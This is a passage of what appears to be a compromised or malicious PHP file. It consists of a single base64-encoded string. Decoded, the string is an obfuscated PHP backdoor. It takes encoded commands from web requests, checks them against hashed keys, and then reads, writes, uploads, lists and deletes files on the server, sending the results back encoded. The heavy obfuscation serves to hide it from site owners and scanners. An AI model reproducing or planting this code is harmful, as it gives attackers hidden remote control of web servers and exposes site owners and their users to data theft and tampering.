V0pKXtpZigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1MildIC5fNDc5MDk3ODMyKDUzKSldPT0gJF9fX19fKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMzMzMy4zMzMzMzMzMzMzKzMzMzMuMzMzMzMzMzMzMyszMzMzLjMzMzMzMzMzMzMpLHJvdW5kKDArMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KSk7d2hpbGUodHJ1ZSl7aWYoKCRfX19fX19fX19fJXJvdW5kKDArMC42NjY2NjY2NjY2NjY2NyswLjY2NjY2NjY2NjY2NjY3KzAuNjY2NjY2NjY2NjY2NjcpKT09IHJvdW5kKDArMC4yKzAuMiswLjIrMC4yKzAuMikpYnJlYWs7JF9fX19fX19fX189cmFuZChyb3VuZCgwKzI1MDArMjUwMCsyNTAwKzI1MDApLHJvdW5kKDArOTk5OTkpKTt9JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig1NCldIC5fNDc5MDk3ODMyKDU1KSldPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU2KV0gLl80NzkwOTc4MzIoNTcpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDU4KV0gLl80NzkwOTc4MzIoNTkpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KCRfX19fX19fKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjApXSAuXzQ3OTA5NzgzMig2MSkpXT0kX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pIC5zaGExKCRfU0VSVkVSW180NzkwOTc4MzIoNjIpXSAuXzQ3OTA5NzgzMig2MykpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNjQpXSAuXzQ3OTA5NzgzMig2NSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2NildIC5fNDc5MDk3ODMyKDY3KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCswLjMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMykscm91bmQoMCs1KzUrNSkpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDY4KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig2OSldIC5fNDc5MDk3ODMyKDcwKSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9JF9fX19fX19fX19fX19fX189ZmFsc2U7aWYoaXNzZXQoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzEpXSAuXzQ3OTA5NzgzMig3MikpXSkpe2lmKChpbnR2YWwoc3Vic3RyKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDczKV0gLl80NzkwOTc4MzIoNzQpKV0pKSxyb3VuZCgwKSxyb3VuZCgwKzUpKSklcm91bmQoMCsxKzEpKT09IHJvdW5kKDArMC41KzAuNSkpeyRfX19fX19fX19fX19fX19fPXRydWU7fWVsc2VpZihzdWJzdHIoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNzUpXSAuXzQ3OTA5NzgzMig3NikpXSkpLHJvdW5kKDArMSsxKzErMSsxKSk9PSBjcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykgLnNoYTEoJF9TRVJWRVJbXzQ3OTA5NzgzMig3NyldIC5fNDc5MDk3ODMyKDc4KSAuc2hhMShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig3OSldIC5fNDc5MDk3ODMyKDgwKSldKSkpKSl7JF9fX19fX19fX19fX19fX189ZmFsc2U7fWVsc2V7cmV0dXJuO319ZWxzZXtyZXR1cm47fWlmKCFlbXB0eSgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MSldIC5fNDc5MDk3ODMyKDgyKSldKSl7JF9fX19fX19fX19fXz1hcnJheSgpOyRfX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4MyldIC5fNDc5MDk3ODMyKDg0KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig4NSldIC5fNDc5MDk3ODMyKDg2KSldOyRfX19fX19fX19fX19fX19fX19fXz1zdHJfcmVwbGFjZShfNDc5MDk3ODMyKDg3KSxfNDc5MDk3ODMyKDg4KSwkX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDg5KV0gLl80NzkwOTc4MzIoOTApKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig5MSldIC5fNDc5MDk3ODMyKDkyKSldKSkpe3JldHVybjt9fWlmKCRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk0KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk3KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDk5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEwMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMDEpKWNvbnRpbnVlOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAyKV0gLiRfX19fX19fX19fX19fX19fX19fKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTAzKV0gLiRfX19fX19fX19fX19fX19fX19fXyldPWJhc2U2NF9lbmNvZGUobF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEwNCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO31pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTA1KV0gLl80NzkwOTc4MzIoMTA2KSldKSl7JF9fX19fX19fX19fX19fX19fX19fXz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDcpXSAuXzQ3OTA5NzgzMigxMDgpKV0pKSx0cnVlKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMDkpXSAuXzQ3OTA5NzgzMigxMTApKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTExKSxfNDc5MDk3ODMyKDExMiksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTMpXSAuXzQ3OTA5NzgzMigxMTQpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTUpXSAuXzQ3OTA5NzgzMigxMTYpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxMTcpXSAuXzQ3OTA5NzgzMigxMTgpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzIwKzIwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTE5KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTIyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTI1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEyNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMjcpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDEyOCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX1pZighZW1wdHkoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTI5KV0gLl80NzkwOTc4MzIoMTMwKSldKSl7JF9fX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDEzMSldIC5fNDc5MDk3ODMyKDEzMikpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDEzMyldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMjUrMC4yNSswLjI1KzAuMjUpXTt9aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM1KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzYpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDEzNylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTM4KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxMzkpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE0MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTQxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNDIpKXJldHVybjtlY2hvKGxfXyhmaWxlX2dldF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNDMpIC4kX19fX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSkpKTt9aWYoIWVtcHR5KCRfUE9TVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxNDQpXSAuXzQ3OTA5NzgzMigxNDUpKV0pKXskX19fX19fX19fX19fX19fX19fX19fX189YmFzZTY0X2RlY29kZShzdHJyZXYoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE0NildIC5fNDc5MDk3ODMyKDE0NykpXSkpOyRfX19fX19fX19fX19fX19fX19fX19fX189cGF0aGluZm8oJF9fX19fX19fX19fX19fX19fX19fX19fKVtfNDc5MDk3ODMyKDE0OCldO2lmKCRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gbnVsbCl7JF9fX19fX19fX19fX19fX19fX19fX19fXz1leHBsb2RlKCRfX19fX19fX18sJF9fX19fX19fX19fX19fX19fX19fX19fKVtyb3VuZCgwKzAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzMzMzMzMzMzMzKV07fSRfX19fX19fX19fX19fX19fX19fX19fPWZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTQ5KV0pO2lmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MClvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTUxKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTIpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1MylvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU0KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE1NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTU3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNTgpKXJldHVybjtmaWxlX3B1dF9jb250ZW50cygkX19fX19fXyAuXzQ3OTA5NzgzMigxNTkpIC4kX19fX19fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31pZighZW1wdHkoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE2MCldIC5fNDc5MDk3ODMyKDE2MSkpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKHN0cnJldigkX1BPU1RbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTYyKV0gLl80NzkwOTc4MzIoMTYzKSldKSk7JF9fX19fX19fX19fX19fX19fX19fX19fXz1wYXRoaW5mbygkX19fX19fX19fX19fX19fX19fX19fX18pW180NzkwOTc4MzIoMTY0KV07aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBudWxsKXskX19fX19fX19fX19fX19fX19fX19fX19fPWV4cGxvZGUoJF9fX19fX19fXywkX19fX19fX19fX19fX19fX19fX19fX18pW3JvdW5kKDArMC41KzAuNSldO31pZighY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX19fX19fKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTY3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjgpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2OSlvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTcwKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNzEpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE3MilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTczKSlyZXR1cm47bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTc0KV0sJF9fX19fX18gLl80NzkwOTc4MzIoMTc1KSAuJF9fX19fX19fX19fX19fX19fX19fX19fKTt9aWYoIWVtcHR5KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3NildIC5fNDc5MDk3ODMyKDE3NykpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3OCldIC5fNDc5MDk3ODMyKDE3OSkpXSkpLHRydWUpO2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODApXSAuXzQ3OTA5NzgzMigxODEpKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTgyKSxfNDc5MDk3ODMyKDE4MyksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODQpXSAuXzQ3OTA5NzgzMigxODUpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODYpXSAuXzQ3OTA5NzgzMigxODcpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODgpXSAuXzQ3OTA5NzgzMigxODkpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzEwKzEwKzEwKzEwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkwKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5MSlvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTIpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTUpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTgpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDE5OSkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8obF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDIwMCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkgLiRfX19fX19fX19fX19fX19fX19fX19fLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO319aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMSldIC5fNDc5MDk3ODMyKDIwMikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fPWFycmF5KCk7JF9fX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMyldIC5fNDc5MDk3ODMyKDIwNCkpXSkpLHRydWUpOyRfX19fX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA1KV0gLl80NzkwOTc4MzIoMjA2KSldOyRfX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA3KV0gLl80NzkwOTc4MzIoMjA4KSldOyRfX19fX19fX19fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwOSldIC5fNDc5MDk3ODMyKDIxMCkpXTtpZigkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjEyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTcpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxOSkpcmV0dXJuOyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fPWdsb2IoJF9fX19fX18gLl80NzkwOTc4MzIoMjIwKSAuJF9fX19fX19fXyAuJF9fX19fX19fX19fX19fX19fX19fKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18peyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlbmFtZSgkX19fX19fX19fX19fX19fX19fLCRfX19fX19fX18gLiRfX19fX19fX19fX19fX19fX19fXyk7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fX19fX19fX19fX19fX19dW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyMSldIC5fNDc5MDk3ODMyKDIyMikpXT0kX19fX19fX19fX19fX19fX19fX19fX19fX19fX187aWYoJF9fX19fX19fX19fX19fX19fID09IHRydWUpeyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjMpXSAuXzQ3OTA5NzgzMigyMjQpKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX19fX19fX19fX19fXyksbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjUpXSAuXzQ3OTA5NzgzMigyMjYpKV09YmFzZTY0X2VuY29kZShkYXRlKF80NzkwOTc4MzIoMjI3KSxmaWxlbXRpbWUoJF9fX19fX19fX19fX19fX19fXykpKTskX19fX19fX19fX19fWyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX11bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjI4KV0gLl80NzkwOTc4MzIoMjI5KSldPWJhc2U2NF9lbmNvZGUoZGF0ZShfNDc5MDk3ODMyKDIzMCkpKTt9aWYoY291bnQoJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyk+cm91bmQoMCkpe2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyBhcyAkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzEpXSAuXzQ3OTA5NzgzMigyMzIpKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjMzKV0gLiRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX18gLl80NzkwOTc4MzIoMjM0KSAuJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC5zaGExKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pKSxtZDUoJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX19ZWNobyhzdHJyZXYoYmFzZTY0X2VuY29kZShqc29uX2VuY29kZSgkX19fX19fX19fX19fKSkpKTt9aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIzNSldIC5fNDc5MDk3ODMyKDIzNikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX189anNvbl9kZWNvZGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjM3KV0gLl80NzkwOTc4MzIoMjM4KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzkpXSAuXzQ3OTA5NzgzMigyNDApKV07JF9fX19fX19fX19fX19fX19fX19fX19fX19fX189Z2xvYigkX19fX19fXyAuXzQ3OTA5NzgzMigyNDEpIC4kX19fX19fX19fX19fX19fX19fXyAuJF9fX19fX19fXyAuXzQ3OTA5NzgzMigyNDIpKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18pe3VubGluaygkX19fX19fX19fX19fX19fX19fKTt9fX0=";
